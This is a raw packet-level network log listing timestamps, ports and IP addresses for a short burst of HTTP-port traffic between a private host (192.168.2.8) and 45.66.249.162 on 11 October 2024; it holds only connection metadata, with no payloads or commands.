Oct 11, 2024 22:32:27.536509037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536509037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536509037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536618948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536628962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536638021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536643982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536653042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536663055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536673069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536683083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536691904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536701918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536727905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536727905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536727905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536727905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536885977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536904097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536914110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536978006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536988974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537003994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537014008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537029982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537029982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537029982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537029982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537029982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537029982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537110090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537144899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537216902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537228107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537275076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537285089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537293911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537303925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537349939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537349939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537349939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537349939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537349939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537349939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537408113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537416935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537427902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537461042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537471056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537481070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537491083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537534952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537534952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537534952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537586927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537587881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537823915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537833929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537844896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537904978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537904978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537904978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.537914991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537925005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537930012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.537962914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538042068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538053036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538060904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538060904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538070917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538080931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538090944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538105965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538115978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538125992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538130999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538136005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538142920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538142920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538146973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538158894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538166046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538166046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538167953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538180113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538187981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538264990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538264990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538846016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538861990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538872004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538881063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538891077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538899899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538916111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.538948059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538948059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538976908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.538976908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539000988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539011002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539016008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539026022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539036036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539045095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539050102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539061069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539062977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539129019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539139032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539148092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539158106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539167881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539177895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539189100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539205074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539205074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539205074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539205074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539406061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539406061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539731026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539774895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.539820910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539845943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.539880991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.540374994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.540374994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.540374994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623483896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623568058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623573065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623588085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623660088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623682022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623693943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623702049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623702049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623702049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623713017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623723984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623743057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623756886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623770952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623795986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623811960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623821974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623821974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623821974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623821974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623821974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623821974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623827934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623842001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623848915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623923063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623933077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623933077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623956919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.623967886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.623976946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624032021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624032021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624067068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624078035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624103069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624123096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624134064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624147892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624147892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624147892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624174118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624185085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624191046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624191046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624201059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624208927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624222994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624233007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624239922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624239922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624257088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624258995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624309063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624309063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624490023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624537945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624547958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624562025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624599934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624610901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624629021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624639034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624639034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624639034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624644041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624661922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624675989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624675989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624692917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624713898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624811888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624835014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624845982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624874115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624874115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624874115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.624910116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624921083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624939919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624973059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.624986887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625005960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625006914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625005960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625005960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625005960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625055075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625055075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625152111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625164032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625186920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625200033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625251055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625251055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625251055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625251055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625287056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625329971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625335932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625372887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625417948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625417948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625421047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625477076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625504971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625519991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625528097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625528097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625533104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625555038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625608921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625608921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625608921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625611067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625623941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625664949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625664949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625781059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625806093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625818014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625819921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625838041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625869989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625870943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625870943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625900984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625922918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625941992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625956059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625962019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625962019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625989914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.625992060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.625992060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626051903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626065016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626108885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626118898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626125097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626125097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626125097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626147032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626194954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626194954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626194954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626490116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626514912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626529932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626547098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626560926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626589060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626589060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626589060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626589060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626610041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626616955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626626968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626663923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626673937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626673937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626713037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626722097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626734018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626754045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626822948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626822948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626822948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626836061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626847982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626919985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626919985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.626950979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626960993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.626979113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627016068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627016068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627016068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627038002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627058983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627072096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627089977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627104044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627119064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627146006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627146006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627146006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627146006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627146006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627206087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627270937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627270937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627273083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627284050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627314091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627326965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627341986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627409935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627409935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627409935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627409935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627409935 CEST	49707	80	192.168.2.8	45.66.249.162
